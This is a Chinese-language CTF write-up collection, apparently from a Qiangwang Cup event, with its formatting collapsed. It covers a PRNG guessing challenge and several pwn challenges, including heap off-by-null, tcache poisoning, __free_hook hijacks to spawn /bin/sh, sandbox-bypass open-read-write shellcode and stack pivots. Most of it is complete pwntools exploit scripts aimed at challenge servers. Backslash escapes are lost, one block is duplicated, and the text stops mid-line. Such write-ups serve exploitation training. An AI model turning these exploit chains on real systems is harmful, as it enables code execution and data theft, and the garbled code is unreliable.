#sys.exit(0)#with open("/root/task/flag.txt", "r")as f: #flag = f.read()#print(banner + "n")print("Welcome to my number guessing game. If you win the game, I'll give you the flagn")count = 0glist = random.choices(plist, k=32)table1 = set()table2 = set()table3 = {}#glist[round]for guess in range(160): z1 = 2**160-1 z2 = 0 for round in range(160): k = guess // 2 m = guess % 10 if m == 0: m = 10 #print("k,m",k,m) key = bin(random.getrandbits(80))[2:].zfill(80) key = list(map(int, key)) iv = bin(random.getrandbits(64))[2:].zfill(64) iv = list(map(int, iv)) a = generator(key, iv, False) # k1 = [] for i in range(160): k1.append(a.PRGA()) k1 = int("".join(list(map(str, k1))), 2) b = generator(key, iv, True, k, m) # k2 = [] for i in range(160): k2.append(b.PRGA()) k2 = int("".join(list(map(str, k2))), 2) #print(f"round {round+1}") #print("Here are some tips might help your:") #print(bin(k1)[2:].rjust(160,"0")) #print(bin(k2)[2:].rjust(160,"0")) #print(bin(k1^k2)[2:].rjust(160,"0")) z1 &= k1^k2 z2 |= k1^k2 table1.add(str(z1)) table2.add(str(z2)) tmp1 = bin(z1)[2:].rjust(160,"0") tmp2 = bin(z2)[2:].rjust(160,"0") tmp3 ="" for i in range(len(tmp1)): flag=0 if tmp1[i]=='1': tmp3+='1' flag=1 if tmp2[i]=='0': tmp3+='0' flag=1 if tmp1[i]=='1' and tmp2[i]=='0': print("sth. strange") if flag==0: tmp3+='2' table3[guess] = tmp3 print(tmp3)import picklewith open("table3.data","wb") as f: pickle.dump(table3,f)随后与远程交互得到一组z1和z2,查看其Differential,然后去table里一个一个查,表中数据里,‘2’可直接忽略,‘1’和‘0’需要匹配,以此为if条件做筛选,最后发现答案刚好唯一。from pwn import *import picklesh=remote("39.105.139.103","10002")from pwnlib.util.iters import mbruteforcefrom hashlib import sha256context.log_level = 'debug'def proof_of_work(sh): sh.recvuntil("xxxx + ") suffix = sh.recvuntil(')').decode("utf8")[:-1] log.success(suffix) sh.recvuntil("== ") cipher = sh.recvline().strip().decode("utf8") log.success(cipher) proof = mbruteforce(lambda x: sha256((x + suffix).encode()).hexdigest() == cipher, string.ascii_letters + string.digits, length=4, method='fixed') log.success(proof) sh.sendlineafter("give me xxxx:", proof)with open("table3.data","rb") as f: table = pickle.load(f)#print(len(table))proof_of_work(sh)#sh.interactive()def find(sig): sig = (bin(sig)[2:].rjust(160,"0")) for index,each in table.items(): #print(each) #print(sig) for i in range(len(each)): if each[i] == '2': continue elif each[i] != sig[i]: break else: sh.sendline(str(index)) break else: print("no")for i in range(32): sh.recvuntil("Here are some tips might help your:n") z1 = int(sh.recvuntil("n")[:-1]) z2 = int(sh.recvuntil("n")[:-1]) sh.recvuntil(">") #print #print("z1,",z1) #print("z2,",z2) find(z1^z2)sh.interactive()最后[*] Switching to interactivemode[DEBUG] Received 0x37 bytes: b'you are smart!n' b'n' b'flag{48ef413f0073134548e81124bdafed72}n'you are smart!PWN1.baby_diary参考 https://bbs.pediy.com/thread-257901.htm 实现堆块复用,后面就是常规题目保护熟悉得菜单write这里有个稍稍复杂的机制。在我们输入内容之后是一个’\x00’,紧接着后面会跟一个后面的数&0xf0再加后面函数的返回值。后面函数是干嘛的。会控制后面哪一个字节。具体来说是后面一个字节的高四位不变,第四位是所有字节加起来之后,将每个四位的数字加起来,如果大于0xf就再来一次,知道小于0xf。所以我们就可以控制下一个chunk的size的低四位。但是我们不可能让它等于0.read正常的输出输出有判定条件,要求我们多出来的那个数字必须是1才可以输出,因为你看函数返回值&1之后要么为0,要么为1.v2不可能是0,所以v2必须是1,这就要求我们show的这个chunk没有溢出,没有其它的情况。delete看得到清理得还是很干净的。我们的思路是这样的。off by null 要么overlap,要么unlink。overlap的做法就是我们的house of einherjar关于null我们可以两次释放申请一个fastbiin chunk,第一次修改最后一位为0,第二次再设置prev_size。但是出问题了,报错。看了一下源码,2.29之后通过这个检查把这种house of ein就没了。所以我们只能考虑unlink。unlink需要泄露地址,泄露一个heap地址,或者程序基地址。没想出来。参考了NU1L的wp,大佬还是大佬。问题出在show,show越界了。它没有限制我们show的index为负数。我们可以尝试一下,当我们show一个负数的时候,可以泄露哪里的地址。我们试图从address_array向上寻找。便于我们查找的区间是有限的,因为序号负数的时候用的是chunk的address,我们可以控制的address_array是有限的,所以我们不能找太离谱的。gdb调试往上调,我们发现了一个这样的地方。1008那里,它有bss上的一个地址,而且离下面的address_array距离并不远,show(-11)就可以做到。我们想拿到这个地址,那么我们需要show(-11),并且绕过一系列的检查。首先第一个问题就是,我们的size_array在-11的地方有没有一个合适的值。我们发现size_array上面紧接着就是address_array,我们计算一下-11的size会在第23个chunk的高四个字节。所以我们要首先申请够23个chunk。申请chunk之后我们对应的show(-11)的size大小会在0x5555左右,我们就需要在那一块申请到地址,我们必须在那个地方留一个值,这样才能绕开show那里的检查,做到释放,所以申请的时候就申请大一点,然后里面的数据留‘\xff’或者其他的都可以。剩下的爆破就行到此呢我们做到了一个什么事情,我们可以得到程序的pie。贴一下爆破的部分算了,剩下的就自己随便写了from pwn import *libc = ELF("/home/wuangwuang/glibc-all-in-one-master/glibc-all-in-one-master/libs/2.31-0ubuntu9_amd64/libc.so.6")def add(size, content): r.sendlineafter(">> ", "1") r.sendlineafter("size: ", str(size)) r.sendafter("content: ", content) def show(index): r.sendlineafter(">> ", "2") r.sendlineafter("index: ", str(index)) def dele(index): r.sendlineafter(">> ", "3") r.sendlineafter("index: ", str(index))while True: try: r = process('./baby_diary') for i in range(22): add(0x1000,'\xff'*0x1000) add(0x7000000,'aaaa\n') show(-11) r.recvuntil('\x08') break except EOFError: r.close() continue leak = u64(b'\x08' + r.recv(5) + b'\x00\x00') - 0x4008gdb.attach(r)input()然后再去伪造chunk做一个unlink。但是别的师傅教会我另外一种方法。它来自一篇博客。2.29 off by null它也是在伪造chunk,但是做法更复杂也更高级。不需要泄露地址,伪造chunk的地址完全用large bin地址,用small bin地址,用了fastbin 地址。我们这个题目根据题目特性,因为那个write函数的问题,做法跟他的有些出入。但是道理是一样的,大家可以去看看那个博客。下面的图是我这里伪造好的chunk。伪造好也是随便利用了。EXP# encoding:utf-8from pwn import *libc=ELF('./libc-2.31.so')def add(size,data='a'): p.recvuntil('>> ') p.sendline('1') p.recvuntil('ize: ') p.sendline(str(size)) p.recvuntil('content: ') p.sendline(str(data))def show(id): p.recvuntil('>> ') p.sendline('2') p.recvuntil('dex: ') p.sendline(str(id))def delete(id): p.recvuntil('>> ') p.sendline('3') p.recvuntil('dex: ') p.sendline(str(id))while True: try: p=remote('8.140.114.72',1399) # p=process('./pwn') for i in range(8): add(0x1f) for i in range(7): add(0x7f) add(26639) add(0x1f) add(0x720-1) add(0x70-1) add(0x7f) delete(17) add(0x1010-1) delete(20) add(0x1f,('x01'*5).ljust(8,'x00')+p64(0x201)) for i in range(7): delete(i) for i in range(7): add(0x20) add(0x1f,'x60') for i in range(7): delete(i+8) delete(19) delete(21) add(0x1018) for i in range(7): add(0x80) add(0x80,p64(0)+'x60') delete(22) add(0x147,'x00'*0x140+p64(0)) delete(21) add(0x146,'x00'*0x138+'x01x01'.ljust(8,'x00')) delete(23) add(0xa0-1) show(21) p.recvuntil("content: ") leak_addr=u64(p.recv(6).ljust(8,'x00')) libcbase=leak_addr-0x1ebbe0 system_addr=libcbase+libc.sym['system'] free_addr=libcbase+libc.sym['__free_hook'] delete(16) add(0x1f,p64(0)+p64(0x31)) delete(22) delete(16) add(0x1f,'a'*0x10+p64(free_addr)) add(0x1f,'/bin/shx00') add(0x1f,p64(system_addr)) delete(22) p.interactive() except Exception as e: pass或者from pwn import*context.log_level = "debug"r = process("./baby_diary")libc = ELF("/home/wuangwuang/glibc-all-in-one-master/glibc-all-in-one-master/libs/2.31-0ubuntu9_amd64/libc.so.6")def add(size, content): r.sendlineafter(">> ", "1") r.sendlineafter("size: ", str(size)) r.sendlineafter("content: ", content) def show(index): r.sendlineafter(">> ", "2") r.sendlineafter("index: ", str(index)) def delete(index): r.sendlineafter(">> ", "3") r.sendlineafter("index: ", str(index))for i in range(7): add(0x38-1,'aaaa') # 0-6add(0x98-1,"aaaa") #7 这里的大小的确立是想把fakechunk放在最后一个字节为0的地方。add(0xb40, "largebin") #8add(0x10, "aaaa") #9delete(8)add(0x1000, '') #8 ;chunk8 to largebin add(0x38-1, '' ) # 10# make fd->bk = fakechunk# 切割largebinadd(0x38-1,'aaaa') #11add(0x80,'aaaa') #12 能把chunk13放在最后一个字节\x00的地方add(0x38-1, 'a') #13add(0x38-1, 'b') #14add(0x38-1, 'c') #15add(0x38-1, 'd') #16for i in range(7): delete(i)delete(15) #delete(13) #0x600# clear tcachefor i in range(7): # 0-6 add(0x38-1, '')add(0x420,'aaaa') #13 fastbin to small binadd(0x38-1,p64(0x50)) #15 0x600# fakechunk sizedelete(10)add(0x38-1,'\x00'*7+'\x03'+p64(0x201)) #修改fake_chunk fd# make bk->fd = fakechunk# clear chunk from tcacheadd(0x38-1, 'clear') #17 for i in range(7): #0-6 delete(i) # free to fastbindelete(11) delete(10) #fake_chunk 0x4f0 for i in range(7): #0 - 6 add(0x38-1, '')# change fake chunk's bk->fdadd(0x38-1, '')# fake pre_inuse / prev_sizedelete(16)add(0x38-1,'\x00'*0x37) #11delete(11)add(0x38-1,'\x00'*0x2f+'\x20')gdb.attach(r)delete(13)add(0x30, '')add(0x20, '')add(0x30, '')show(12)malloc_hook = (u64(r.recvuntil("\x7f")[-6:].ljust(8, "\x00")) & 0xfffffffffffff000) + (libc.sym['__malloc_hook'] & 0xfff)libc_base = malloc_hook - libc.sym['__malloc_hook']system_addr = libc_base + libc.sym['system']free_hook = libc_base + libc.sym['__free_hook']print "libc_base = " + hex(libc_base)delete(17)delete(15)add(0xa0,'\x00'*0x88+p64(0x41)+p64(free_hook))# add(0x30,"cat flag\x00")add(0x30,'/bin/sh\x00') #17add(0x30,p64(system_addr)) #19delete(17)r.interactive()libc_base = " + hex(libc_base)delete(17)delete(15)add(0xa0,'\x00'*0x88+p64(0x41)+p64(free_hook))# add(0x30,"cat flag\x00")add(0x30,'/bin/sh\x00') #17add(0x30,p64(system_addr)) #19delete(17)r.interactive()2.[强网先锋]orw附件:https://pan.baidu.com/s/1qXjidBqXzcH_z_kjI-gSCQ 提取码:s97yRELRO没都开,能劫持got,NX也没开,总得写点shellcode。开了沙箱。是个堆只能申请两个chunk,但是好像有个序号可以越界。show edit都丢了,只剩了一个freefree还挺干净那所以我们就直接堆shellcode算了,直接数组越界,chunk地址直接写到got表,然后在那个chunk里面布置shellcode,从而劫持got表,来orw。但是问题来了,chunk的大小限制在了0-8,也就是不会整个chunk大小不会超过0x20.能够输入大小不超过8,这就不能写shellcode。然后我们看这个输入,我们发现……当输入0的时候,这个输入限制就绕过了……然后应该就成了。expfrom pwn import*import pwncontent.log_level='debug'def add(id,size,content): p.recvuntil('choice >>n') p.sendline('1') p.recvuntil('ndex:n') p.sendline(str(id)) p.recvuntil('size:n') p.sendline(str(size)) p.recvuntil('content:n') p.send(str(content))def delete(id): p.recvuntil('choice >>n') p.sendline('4') p.recvuntil('ndex:n') p.sendline(str(id))shellcode='''mov r8, rdixor rsi,rsimov rdi ,r8mov rax, 2syscallmov rdi, raxmov rsi, r8mov rdx, 0x30mov rax, 0syscallmov rdi, 1mov rsi,r8mov rdx, 0x30mov rax, 1syscall'''payload=pwn.asm(shellcode)add(0,8,'./flagx00'+'n')add(-25,'a',payload+'n')delete(0)p.interactive()或者from pwn import *#p=process('./pwn')p=remote("39.105.131.68","12354")context(os='linux',arch='amd64')shellcode=''' xor rax,rax xor rdi,rdi xor rsi,rsi xor rdx,rdx mov rax,2 #open 调用号为2 mov rdi,0x67676c662f2e #为 galf/. 是./flag的相反 push rdi mov rdi,rsp syscall mov rdx,0x100 #sys_read(3,file,0x100) mov rsi,rdi mov rdi,rax mov rax,0 #read 调用号0 syscall mov rdi,1 #sys_write(1,file,0x30) mov rax,1 #write调用号是1 syscall'''p.recv()p.sendline('1')p.recvuntil('index')p.sendline('-0xd')p.recvuntil('size:')p.sendline('0')p.recvuntil('content')p.sendline(asm(shellcode))#gdb.attach(p)p.sendline('5')p.interactive()3.[强网先锋]no_output漏洞存在栈溢出:思路远程存在 real_flag.txt 读入后 unk_804C080 是 0x3在 read(0, buf, 0x30u); 输入 x00 覆盖 unk_804C080 为 0x00 ,实现向 src 输入,输入对应内容进入 if 内输入对应值后进入 if 内,配置了一个浮点数错误的 signal :在发生致命的算术运算错误时发出,不仅包括浮点运算错误,还包括溢出及除数为0等其它所有的算术的错误。由于 v1 固定是 1 ,所以这种制造错误的方法 pass 。不一定要是被 0 除以。2 的补码 INT_MIN/-1 除法陷阱也行:-2147483648/-1产生错误之后跳转运行栈溢出函数EXPfrom pwn import *context.log_level = 'debug'context.terminal = ['tmux','sp','-h']# p = process("./test")p = remote("39.105.138.97",1234)libc = ELF("/lib/i386-linux-gnu/libc-2.27.so")elf = ELF("./test")# gdb.attach(p,"b *0x80494c0")# gdb.attach(p,"b *0x080492E2")# gdb.attach(p,"b *0x0804925B")# raw_input()p.send('x00'*2)sleep(0.1)p.send('./flag'.rjust(0x20,'a'))sleep(0.2)p.sendline("hello_boy")sleep(0.2)p.sendline("-2147483648")sleep(0.2)p.sendline("-1")bss = 0x0804c07c-2payload = 'a'*0x48+'b'*0x4# payload += p32(elf.plt['read'])+p32(0x08049581)+p32(0)+p32(0x0804C060+0x100)+p32(0x100)payload += p32(elf.plt['open'])+p32(0x08049582)+p32(bss)+p32(0)payload += p32(elf.plt['read'])+p32(0x08049581)+p32(4)+p32(0x0804C060+0x200)+p32(0x100)payload += p32(elf.plt['read'])+p32(0x08049581)+p32(0)+p32(elf.got['read'])+p32(0x100)payload += p32(elf.plt['read'])+p32(0x08049581)+p32(1)+p32(0x0804C060+0x200)+p32(0x100)# payload += p32(0x0804944B)p.sendline(payload)# gdb.attach(p,"b *0x080492E2")# raw_input()# p.send("./flagx00")p.send('x30xfe')sleep(0.2)flag = p.recv(timeout=1)print flag# if '{' not in flag:# p.close()# return 0p.interactive()4.babypwnoffbynull 造成堆块重叠,然后攻击 stdout 泄露 libc ,有沙盒限制系统调用libc是2.27的保护全开。还开了沙箱。你会看到arch只能是x86_64,系统调用号小于0x40000000的时候除了execve都可以,大于等于0x40000000的时候只能是0xffffffff。经典增删改查。add最多17个chunk,chunk的大小最大0x200.地址跟发小都放在了bss上面。delete清理的很干净editedit也看着没啥,里面有个函数,进去看看。会把所有的’\x11’变成’\x00’,但是问题就出在它没有边界,仅仅是到’\x00’就停而已。那么我们就可以有越界,来造成off by null。show输出都点不大正常。首先发现它是前后四个字节分开的。然后看一下那个输出函数。加密的,好家伙先后四个字节分开,把四个字节当成一个整数传下去,然后经过加密,输出的是加密后的16进制,所以我们一会在使用这个函数的时候要注意写好解密算法。最后发现有个工具,z3(https://cloud.tencent.com/developer/article/1423409)这些chunk都是因为沙箱提前开的一些。总的思路其实也就是说off by null + 借用setcontext来进行orw。orw没啥好说的,因为free通过rdi传参,所以我们劫持free_hook。off by null我们还是有两种思路,一种是unlink,一种是off by null。unlink还是通过在第一个chunk中伪造chunk,需要在堆中做一个unlink的bypass,只需要三个chunk,另外一种是off by null,需要四个chunk,制造overlap,leak libc跟tcache posioning。都来写一下,首先时unlink。先通过chunk的残留地址把libc,heap地址都泄露出来我们申请了三个chunk,都不需要在第一个chunk中伪造chunk,因为我们不需要做过分的overlap,正常一点就行,off by null改掉第二个chunk的size,然后利用第三个chunk把check bypass掉。两次申请,直接tcacahe posioning。这个是利用setcontext的对比图。从这个地方开始就开始利用堆上提前写好的内容。要说的是在我们利用syscall的时候,要注意libc.sym找到的syscall会在上面清零rdi rsi,而ropgadget找到的又只有syscall没有ret,所以我们只能利用libc找到的syscall从中间截取一段,也就是从syscall+23地方开始。EXPfrom pwn import*# context.log_level='debbug'elf=ELF('babypwn')libc=ELF('./libc.so.6')p=process('./babypwn',env={'LD_PRELOAD':'./libc.so.6'})#p=process('./babypwn')def add(size): p.recvuntil('>>> n') p.sendline('1') p.recvuntil('size:') p.sendline(str(size))def edit(id,content): p.recvuntil('>>> n') p.sendline('3') p.recvuntil('index:') p.sendline(str(id)) p.recvuntil('content:') p.send(str(content))def delete(id): p.recvuntil('>>> n') p.sendline('2') p.recvuntil('index:') p.sendline(str(id))def show(id): p.recvuntil('>>> n') p.sendline('4') p.recvuntil('index:') p.sendline(str(id))add(0x100)add(0x100)add(0x100)add(0x100)add(0x100)add(0x100)add(0x100)add(0x100)add(0x100)add(0x100)add(0xf0)add(0xf0)add(0xf0)add(0xf0)add(0xf0)add(0xf0)add(0xf0)for i in range(9,3,-3): delete(i)for i in range(7): delete(10+i)delete(1)delete(0)add(0x108)edit(2,'b'*0xf0+p64(0)+p64(0x21))edit(3,(p64(0)+p64(0x21))*7)edit(0,'b'*0x108)edit(0,'b'*0x100+p64(0x220))delete(3)delete(2)add(0x100)add(0x100)add(0x100)add(0x100)add(0x100)add(0x100)add(0x100)add(0x200)add(0x100)delete(6)delete(5)delete(3)delete(0)edit(8,'a'*0x108+p64(0x110)+'x18x80')edit(9,p64(0)+'x60xe7')add(0x100)add(0x100)add(0x100)payload=p64(0xfbad1887)+p64(0)*3+'x00'edit(5,payload)p.recvuntil('x00'*8)lead_addr=u64(p.recv(8))libc_base=lead_addr-(0x7ffff7dcf8b0-0x00007ffff79e2000)delete(4)delete(1)delete(0)free_addr=libc_base+libc.sym['__free_hook']edit(8,'a'*0x108+p64(0x110)+p64(free_addr))add(0x100)add(0x100)add(0x100)gadget=libc_base+0x520A5open_addr=libc_base+libc.sym['open']read_addr=libc_base+libc.sym['read']write_addr=libc_base+libc.sym['write']poprdi=libc_base+0x000000000002155fpoprsi=libc_base+0x0000000000023e6apoprdx=libc_base+0x0000000000001b96flag=free_addr+0xb0add=free_addrpayload=p64(gadget)+p64(poprdi)+p64(flag)+p64(poprsi)+p64(0)+p64(open_addr)+p64(poprdi)+p64(3)+p64(poprsi)+p64(flag)+p64(poprdx)+p64(0x30)+p64(read_addr)payload+=p64(poprdi)+p64(1)+p64(poprsi)+p64(flag)+p64(poprdx)+p64(0x30)+p64(write_addr)edit(1,payload.ljust(0xa0,'x00')+p64(add)+p64(poprdi)+'./flag')# gdb.attach(p)# raw_input()delete(1)p.interactive()或者import osimport sysimport subprocessfrom pwn import * context.arch = "amd64"context.log_level = "debug" elf_addr = "./babypwn" pro_libc = "./libc.so.6" # sh = remote("39.105.130.158",8888) sh = process(elf_addr)elf = ELF(elf_addr) def add(size): sh.recvuntil(">> \n") sh.sendline("1") sh.recvuntil("size:\n") sh.sendline(str(size))def show(idx): sh.sendlineafter(">> \n","4") sh.sendlineafter("index:\n",str(idx))def edit(idx,content): sh.sendlineafter(">> \n","3") sh.sendlineafter("index:\n",str(idx)) sh.sendlineafter("content:\n",content)def free(idx): sh.sendlineafter(">> \n","2") sh.sendlineafter("index:\n",str(idx)) def encode(a1): d1 = (32*a1)&0xffffffff d2 = d1^a1 d3 = d2>>17 d4 = ((d2 ^ d3) << 13)&0xffffffff a1 ^= d1 ^ d3 ^ d4 d1 = (32*a1)&0xffffffff d2 = d1^a1 d3 = d2>>17 d4 = ((d2 ^ d3) << 13)&0xffffffff a1 ^= d1 ^ d3 ^ d4 return hex(a1)[2:] def decode_1(a): log.progress("decode_1") for i in range(0x0, 0xff): head = chr(i)+"\x7f\x00\x00" if encode(u32(head))==str(a, encoding='utf-8'): success("ok~ decode_1") return head def decode_2(a): log.progress("decode_2") for i1 in range(0x0, 0xff): for i2 in range(0, 0xff): for i3 in range(2, 0xff, 0x10): last = "\x10"+chr(i3)+chr(i2)+chr(i1) if encode(u32(last)) ==str(a, encoding='utf-8'): success("ok~ decode_2") return last # off by null; overlaping 堆块向前合并add(0xf8) #0for i in range(7): #1-7 add(0xf8) add(0x108) #8add(0x108) #9for i in range(1,8): #1-7 free(i)free(0) edit(8, b"a"*0x108)edit(8, b"b"*0x100+p64(0x910))edit(9, b"\x00"*0xf8+p64(0x11))free(9) for i in range(7): # 0-6 add(0xf8)add(0x200) # idx_7 have idx_0-1 show(7)a2 = sh.recv(8)sh.recvuntil("\n")a1 = sh.recv(8)success("a1 => %s",a1)success("a2 => %s",a2)print(encode(0x7fff))head = decode_1(a1)last = decode_2(a2)main_arena1488 = u64(last+head)success("main_arena96 => 0x%x",main_arena1488)libc_base = main_arena1488-1488-0x10-libc.sym["__malloc_hook"]success("libc_base => 0x%x",libc_base)free_hook = libc_base+libc.sym["__free_hook"]setcontext = libc_base+libc.sym["setcontext"] free(5)free(6)payload = flat([ "\x00"*0xf8, p64(0x101)+p64(free_hook-8)])edit(7, payload) add(0xf8)add(0xf8)shellcode = """ push 1 dec byte ptr [rsp] mov rax, 0x7478742e67616c66 push rax /* call open('rsp', 'O_RDONLY', 0) */ push 2 /* 2 */ pop rax mov rdi, rsp xor esi, esi /* O_RDONLY */ cdq /* rdx=0 */ syscall /* call sendfile(1, 'rax', 0, 0x7fffffff) */ mov r10d, 0x7fffffff mov rsi, rax push 40 /* 0x28 */ pop rax push 1 pop rdi cdq /* rdx=0 */ syscall"""payload2 = flat(["/bin/sh\x00", p64(setcontext + 53), p64(free_hook + 0x10), asm(shellcode)]) edit(6, payload2) frame = SigreturnFrame()frame.rsp = free_hook + 0x8frame.rdi = (free_hook) & 0xfffffffffffff000frame.rsi = 0x1000frame.rdx = 7frame.rip = libc_base+libc.sym['mprotect']edit(7, bytes(frame))free(7) sh.interactive()5.[强网先锋]shellcode写 shellcode 题目。分类为禁用 write 和 system ,限制 shellcode 为可见字符串类型。禁用 write 思路和蓝帽杯 slient 思路一样,读取 flag 到内存中然后比较,爆破得出 flag 。限制可见字符串类型,参考 mrctf2020_shellcode_revenge 将 shellcode 转换为可见字符串,alpha3 转换结果错误,改用 AE64 转换成功。https://www.codenong.com/cs105236336/https://n0va-scy.github.io/2020/06/21/shellcode%E7%9A%84%E8%89%BA%E6%9C%AF/参考 https://n0va-scy.github.io/2020/06/21/shellcode%E7%9A%84%E8%89%BA%E6%9C%AF/ 实现读取 flag 到栈上,后面就用蓝帽杯思路比较字符EXP# encoding:utf-8from pwn import *from ae64 import AE64# context.log_level = 'debug'# context.terminal = ['tmux','sp','-h']file = context.binary = './shellcode'obj = AE64()append_x86 = '''push ebxpop ebx'''shellcode_x86 = '''/*fp = open("flag")*/mov esp,0x40404140push 0x67616c66push esppop ebxxor ecx,ecxmov eax,5int 0x80mov ecx,eax/* read(fp,buf,0x70) *//*mov eax,3*//*push 0x70*//*push ebx*//*push 3*//*int 0x80*/'''shellcode_flag = '''push 0x33push 0x40404089retfq/*read(fp,buf,0x70)*/mov rdi,rcxmov rsi,rspmov rdx,0x70xor rax,raxsyscall'''shellcode_x86 = asm(shellcode_x86,arch = 'i386',os = 'linux',bits='32')shellcode_flag = asm(shellcode_flag,arch = 'amd64',os = 'linux')shellcode = ''append = '''push rdxpop rdx'''# 0x40404040 为32位shellcode地址shellcode_mmap = '''/*mmap(0x40404040,0x7e,7,34,0,0)*/push 0x40404040 /*set rdi*/pop rdipush 0x7e /*set rsi*/pop rsipush 0x40 /*set rdx*/pop raxxor al,0x47push raxpop rdxpush 0x40 /*set r8*/pop raxxor al,0x40push raxpop r8push rax /*set r9*/pop r9/*syscall*/push rbxpop raxpush 0x5dpop rcxxor byte ptr[rax+0x31],clpush 0x5fpop rcxxor byte ptr[rax+0x32],clpush 0x22 /*set rcx*//*pop rcx*/pop r10push 0x40/*set rax*/pop raxxor al,0x49syscall'''shellcode_read = '''/*read(0,0x40404040,0x70)*/push 0x40404040pop rsipush 0x40pop raxxor al,0x40push raxpop rdixor al,0x40push 0x70pop rdxpush rbxpop raxpush 0x5dpop rcxxor byte ptr[rax+0x57],clpush 0x5fpop rcxxor byte ptr[rax+0x58],clpush rdxpop raxxor al,0x70syscall'''shellcode_retfq = '''push rbxpop raxxor al,0x40push 0x72pop rcxxor byte ptr[rax+0x40],clpush 0x68pop rcxxor byte ptr[rax+0x40],clpush 0x47pop rcxsub byte ptr[rax+0x41],clpush 0x48pop rcxsub byte ptr[rax+0x41],clpush rdipush rdipush 0x23push 0x40404040pop raxpush raxretfq'''shellcode = ''shellcode += shellcode_mmapshellcode += appendshellcode += shellcode_readshellcode += appendshellcode += shellcode_retfqshellcode += appendsc = obj.encode(asm(shellcode),'rbx')#p=process(file)# gdb.attach(p,"b *0x40026D")# gdb.attach(p,"b *0x7ffff7ff9102")# raw_input()# p.send(sc)# pause()# p.sendline(shellcode_x86 + 0x29*'x90' + shellcode_flag)# print p.recv()# p.interactive()def pwn(p, index, ch): #gdb.attach(p,"b *0x40026D") #pause() p.send(sc) shellcode='' if index == 0: shellcode += "cmp byte ptr[rsi+{0}], {1}; jz $-3; ret".format(index, ch) else: shellcode += "cmp byte ptr[rsi+{0}], {1}; jz $-4; ret".format(index, ch) p.sendline(shellcode_x86 + 0x29*'x90'+ shellcode_flag + asm(shellcode)) #print p.recv() #p.interactive()index = 0a = []while True: for ch in range(20, 127): p = remote('39.105.137.118','50050') # p=process(file) pwn(p, index, ch) start = time.time() try: p.recv(timeout=2) except: pass end = time.time() p.close() if end-start > 1.5: a.append(ch) print("".join([chr(i) for i in a])) break else: print("".join([chr(i) for i in a])) break index = index + 1print("".join([chr(i) for i in a]))6.no output(栈迁移):你不给输出咱wepn的pwn垃圾就是要打个输出出来, 不图别的, 诶, 就是玩儿~检查一下程序, 发现是partial relro, 所以就想改got表, 在动态捣鼓了一段时间后发现, open函数和write函数只有倒数第一, 第二位是不同的, 于是就想修改open为write用于之后泄露, 而且还是no pie这不是乱打?然后就是基本栈迁移, 找个好点的地给ebp和esp日后躺着, 我找的是差不多是0x804c00+0xa00, 至于为什么要再加上0xa00是因为如果不加, 日后system函数在执行的时候会将栈地址减到0x804b00左右, 而这地址不可写, 会在mov时报错说了这么多奇奇怪怪的准备, 那么说说总思路, 两次输入’\x00’后进入第二个函数, 第二个函数分别输入int32 min和-1触发8号信号进入read, 之后先进行一次栈溢出到我们的fake stack地址, 同时输入后面要用gadget之类的东东, fake stack上再写入read(0, elf.got[‘open’], 0x100), 修改其为write, 之后维护好栈后再触发call open就相当于write(1, elf.got[‘read’], 0x4), 就泄露了地址, 后面再维护一下栈就可以getshell了exp如下:#!/usr/bin/env python# coding=utf-8from pwn import *#sh=process('./test')#sh=remote('39.105.138.97',1234)elf=ELF("./test")libc=elf.libccontext.log_level='debug'context.arch='i386'leave_ret=0x80491a5ret_addr=0x0804900eread_100_addr=0x08049236def pwn(): sh.sendline('\x00'*1) print str(proc.pidof(sh)) #gdb.attach(sh, '''b *0x080492a8''') payload=p8(0)*2 #pause() sh.sendline(payload) sleep(1) sh.sendline(str(-2147483648)) sh.sendline(str(-1)) payload1=p32(0)*0x12+p32(0x0804C0B0-4+0xa00)+p32(0x804925b)+p32(0)+p32(0x804c0b0-4+0xa00)+p32(0x1000) payload2=p32(0x804c0c4+0xa00)+p32(0x804925b)+p32(0)+p32(elf.got['open'])+p32(0x100)+p32(leave_ret)+p32(0x804c0e0+0xa00)+p32(0x804936F)+p32(1)+p32(elf.got['read'])+p32(0x4)+p32(0)*2+p32(0x804c100+0xa00)+p32(0x804925b)+p32(0)+p32(0x804c0fc+0xa00)+p32(0x100) sh.sendline(payload1) #pause() sh.sendline(payload2) #pause() sh.send(p16(0x4c90)) read_addr=u32(sh.recv()) log.success("read addr: "+hex(read_addr)) libc.address=read_addr-libc.sym['read'] log.success("system addr: "+hex(libc.sym['system'])) libc_base=read_addr-libc.sym['read'] sh.sendline(p32(0)+p32(0x804c200+0xa00)+p32(libc.sym['system'])+p32(0)+p32(libc.search('/bin/sh').next())) sh.interactive()while True: #sh=process('./test') sh=remote('39.105.138.97',1234) try: pwn() except: sh.close()7.pipelinelibc2.31堆溢出配合对风水直接修改pipe->data, 实现任意地址修改,漏洞主要是写入data的时候v1是有符号16位,后面进入函数以后是无符号整数, 会从int 16为拓展为unsigned int 64,这里的绕过可以在前面if (size <= v1) 使用v1为负数, 然后进入my_read 函数以后截取后部分这里会拓展为int类型, 这时候可以让后半部分为正数, 我们构造出来一个0xf0f00f0f的输入, 即可在后面实现配合堆风水,改掉对应的pipe->data位, 实现任意地址写from pwn import *context.log_level = 'debug'context.terminal = ["tmux","new-window"]p = remote("59.110.173.239", 239)#p = process("./pipeline"l)libc = ELF("./libc-2.31.so")def new(): p.recvuntil(">> ") p.sendline("1")def edit(index, size): p.recvuntil(">> ") p.sendline("2") p.recvuntil("index: ") p.sendline(str(index)) p.recvuntil("offset: ") p.sendline(str(0)) p.recvuntil("size: ") p.sendline(str(size))def destroy(index): p.recvuntil(">> ") p.sendline("3") p.recvuntil("index: ") p.sendline(str(index))def append(index, size, data): p.recvuntil(">> ") p.sendline("4") p.recvuntil("index: ") p.sendline(str(index)) p.recvuntil("size: ") p.sendline(str(size)) p.recvuntil("data: ") p.sendline(data)def show(index): p.recvuntil(">> ") p.sendline("5") p.recvuntil("index: ") p.sendline(str(index)) p.recvuntil("data: ")new()new()new()edit(0,0x68)edit(1,0x68)edit(0,0)edit(1,0)edit(1,0x68)edit(0,0x450)edit(1,0x78)edit(0,0)edit(0,0x18)show(0)#leak libclibc_base = u64(p.recv(6).ljust(8,b"\x00")) - 96 - libc.symbols["__malloc_hook"] - 0x10 - 0x400#getshellnew()payload = b'b'*0x18 + p64(0x21)payload += p64(libc_base + libc.symbols["__free_hook"])payload += p32(0) + p32(0x100)append(0, 0x80000100, payload)#gdb.attach(p)append(3, 0x20, p64(libc_base + libc.symbols["system"]))append(0, 0x20, 